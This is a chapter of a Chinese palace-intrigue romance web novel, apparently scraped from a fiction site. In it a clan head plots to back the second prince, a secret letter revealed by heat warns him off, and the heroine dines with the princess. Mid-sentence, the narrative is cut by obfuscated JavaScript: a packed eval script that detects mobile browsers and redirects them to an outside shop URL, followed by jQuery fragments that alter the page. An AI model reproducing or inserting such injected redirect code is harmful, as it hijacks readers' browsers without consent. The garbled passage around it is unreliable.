12. 第十二章

作品:《被男公主盯上后(穿书)

    书斋位于宅邸僻静一隅,幽静隐秘。


    云桓跟随进入,云敏达却并没有在主位上坐下来,而是走到嵌有卷草纹的坐榻处,摸索着往下一按。


    云桓的背后一扇小门打开。他面上有些诧异,看了看父亲,却见云敏达头也不回地走了进去。他也只好揣着一肚子的疑问跟上。


    两人的身影完全消失后,小门自动关闭。穿过一条窄窄的狭路后,云桓眼前的景色豁然开朗,修竹、古松、奇石互相掩映,妙不可言。


    “阿桓,如今你已成家立业,为父一直觉得你的心智尚浅并未让你介入家族事务,可这段日子发生的事情让我明白有些事情还是需要告知于你,以免……”说到此处,云敏达吹胡子瞪眼地哼了一声,“以免让你不知天高地厚惹出祸事来。”


    纵是云桓再无知愚钝,也料到父亲口中之事必然非同小可,他在石凳上坐下,等待聆听。


    “自小,为父就告诉你,官以人而清,这你可还记得?”


    云桓微微颔首,道“不敢忘,父亲曾说,名流君士自当避免陷入繁琐,不得与钱粮、刑狱等俗事为伍。”


    “不错,也因此你虽在朝中任职,却并不整日处理政务。”云桓仍是点头,却不知云敏达要将话题引向何处,眼里散发着疑惑,云家主继续道,“但世家之根并不在风流雅事,荫户、部曲这些事务才让云氏存活百年。如今,战乱刚平,皇帝就学着前朝那个短命鬼将我百年世家逼到何种境地!我五姓七家如今又只剩下几家?”


    这样重的话云桓从未听过,哥哥仍在世时,他只要做个天真的弟弟就可以了。


    但见父亲如此激动,作为云氏之子,他也尝试着分析:“父亲,虽然氏族衰落,但我河朔云氏尚存。前朝时,司马氏、裴氏、郁氏均在战乱中首当其冲,受到重创元气大伤,坐山观虎斗的庾氏却在当今皇帝登基后军权旁落,最终因谋逆之罪被抄斩。如今,五姓中属我云氏安然无恙,靖朔公主的下嫁不也是皇帝的招揽信号吗?”


    “阿桓,一只尝过肉味的老虎是不会愿意再吃草的,只怕谢雯不过就是个幌子,我们云家才是皇帝心中第一个眼中钉肉中刺。招揽为假,拔除才真。”


    “那父亲认为,应当如何?”


    “二皇子野心不小,是个可造之材。”即使在密室中,云敏达仍警惕地观望了四周,确认没人才吐出这句话来。


    云桓瞳孔震颤,“爹,你是说……”


    “我云氏一族的延续并不靠皇族的施舍,曾经世家与皇族共治天下,皇位轮换,可世家百年不倒。我们助谢修文上位,我河朔云氏将会取代曾经的司马氏族,一跃成为世家之首。”


    “可……若是失败呢?”云桓喃喃地念道,又问:“爹,这二皇子有什么理由要如此做,大皇子虽为长子,但并非皇后所出,为人老实愚钝,他是最有可能成为太子的人选啊?莫不是联合皇帝来一局瓮中捉鳖?”


    “你可晓得什么时候最能感受权力?”云敏达站起身,轻轻拍了拍云桓的肩膀,道:“不是抵达之际,而是在你最靠近的时候。如今闵宗皇帝已经整整在位六十余年了,可依然整日面色红润,子嗣不绝,若是那养生之术当真如此有效,二皇子又还有多久的时间可以等待。更何况,他连那太子之位都还未收入囊中。”


    “可我们不能拿一大家子的人去做这一场豪赌啊,皇上将选拔寒门士子担任朝中重臣,而这些新晋大臣因早年受到我世家的冷待而怀恨在心,倘若失败,我云府再无翻身的机会……”云桓还欲再劝,可父亲接下来的话就让他闭上了嘴巴。


    “阿桓,躲避向来是你的本事,可皇帝已经欺压到你的头上了,今日他可以将女儿硬塞给你,明日他就可以抱着他的外孙把控住河朔云氏。”


    怔愣的表情在眉宇间浮现,云桓想起赐婚圣旨带来的痛苦和心头的无奈。


    而云敏达趁此,给出最后一击:“你可知晓此处宁丫头外出为何受伤?”


    云桓低垂的头颅猛然抬起,蹭的一下就像突然钻天炸开的烟花,嘴唇颤抖发不出声音来。


    云敏达深邃的眼眸平静地注视着面前的儿子,看到了他眼中汩汩涌出的泪花,叹口气。


    “父亲会安排好一切,你不必卷入这场危险之中,我们是一家人,你今后莫要再任性叫父亲难做。”


    云桓三两下擦干面上的泪水,坚定地点了点头。


    恢复好面上的表情后,云桓整了整衣冠,父子俩前后离开了密园。


    回到书房之中,云敏达装模作样地检查了云桓的功课,就在云桓回答之间,房门被敲响了。


    “何事?”云敏达开口询问。


    敲门的是府中的管家,只道:“家主,有信件。”


    云敏达眉头锁起,连云桓都察觉到不对劲。


    云家的信件一般都由专属信使送达,并不会被管家接手。


    云桓开门从管家的手中将这封明显异常的信件取进来。


    皂囊包裹,在打结处敷上了厚实的黏土,却并未盖上写信人的私印。


    打开,信纸卷成轴存在放其中,云桓将纸张铺平展开,质地光滑坚韧,如玉如霜,他的眉头皱得更紧了,竟然是剡藤纸,纸张处印着云纹。


    这竟然是他们云家内部的纸张。


    云敏达接过信件,信上一片空白,思索片刻后,取出油灯将信纸在火上烤了一会儿后,字终于显现出来了。


    字写得很是难看,鸡爪狗爬一般,两个人辨认了良久。


    终于串联起来:“谢修文不可靠,回头是岸可自保。”


    两人的脑中惊雷响起,互相看了看对方,又仔细翻来覆去看了看信纸,半天没说出话来。


    云敏达强行镇定,将信重新放入皂囊中,翻来覆去将信藏在柜子中后,急忙将门打开把传信的管家叫进来。


    “谁送来的信?”他开门见山,表情平静,可语气却暴露了他的急迫。


    “小人不知。门口的侍卫说一个满身肮脏、头发凌乱的小孩将这锦囊丢下后就跑得没影了,他们也没来得及追。见这丝织布匹看着并非凡品,怕是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164704|196650||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赃物,这才交到了小人手上。”


    “在这之前,可有人打开过?”云敏达落音很轻,听不出什么语气。


    “不曾。”


    管家离去后,云桓压下心中不安的情绪,问:“父亲,现在如何?”


    “你先离去,不要声张,让我考虑一下。”


    没法,他继续待在这里也无济于事,他辞别后朝着郁宁的院中去了。


    *


    推开熟悉的屋子,云桓得到了女婢们这样一句回答:“回禀公子,夫人去公主殿下那儿了。”


    云桓无法,脑中思绪太过混乱,他此时又不愿对上皇家公主,深怕自己流出异常之处被猜忌,只能双手搭在头上,侧身躺在了阿宁的床上。


    话说婉拒掉社交聚餐的郁宁带着三春并没有老老实实地回院子中去,她拐了个弯来了靖朔公主的住处。


    谢温尚在用餐,侍女们领着她进了茶厅,三春等候在外。郁宁品着侍女倒好的茶,悠闲地在坐榻上看起书来。


    起初,她还保持着客人的矜持,坐姿有模有样的,符合世家妇人的礼仪姿态。可是等着等着,这餐饭不知为何用了如此之久,一直到天色渐黄公主都还未回来。


    侍女们进来添灯加茶,见郁宁始终没有不耐烦的意思,也并未上前劝说离去。


    可是长久地坐着,郁宁觉得伤口隐隐有些作痛,而晦涩难懂的医书更像是天书,在摇曳的烛光中飘起来,她换了个姿势趴在坐榻上看,慢慢地闭上了眼睛。


    谢温回来的时候,被侍女领着就看到了这一幕。


    外面的天色已经大暗,灯光照在郁宁玲珑有致的身体上,散发出柔和的光芒,她的面庞纯净,手臂垫在脸颊底下将面部的软肉挤成一团,就像是一只兔子。


    谢温站在远处看了很久,他的脸被阴影遮挡住看不清神色,一直没有动作。


    感受到一阵强烈的目光,郁宁朦朦胧胧地睁开眼睛,看到眼前高大的身影,心中一跳。


    这才发现自己睡着了,爬起来赶紧手忙脚乱地整理衣衫,擦了擦嘴角害怕自己流了口水。


    然后朝着谢温有些拘谨地说了一句:“嗨。”


    郁宁:有的时候真的很想给自己抽一个嘴巴子。


    她重新开口:“殿下,我来是想邀请你一起……”额,本来是打算一起抚琴来着,可是没想到等到了现在,早就过了玩乐的点。


    她重新组织语言,道:“今日天色已晚,我就不打扰殿下用膳了。”准备溜走,下回再战。


    却不料她听到了一句意料之外的话——“既要把我当作好友,怎可留我一人用餐呢?”


    郁宁转身,就见谢温戏谑地盯着她,又道:“怎么,我这个救命恩人,难道还凑不上资格?”


    “当然不是!殿下说笑了。”郁宁从善如流,立马改了口,“阿雯心地善良,能与阿雯一同用膳是我的福气。”


    于是,稀里糊涂地,郁宁就和谢温同桌用餐了,完全忘记了自己的原始饭搭子——在院子中苦苦等待的云桓。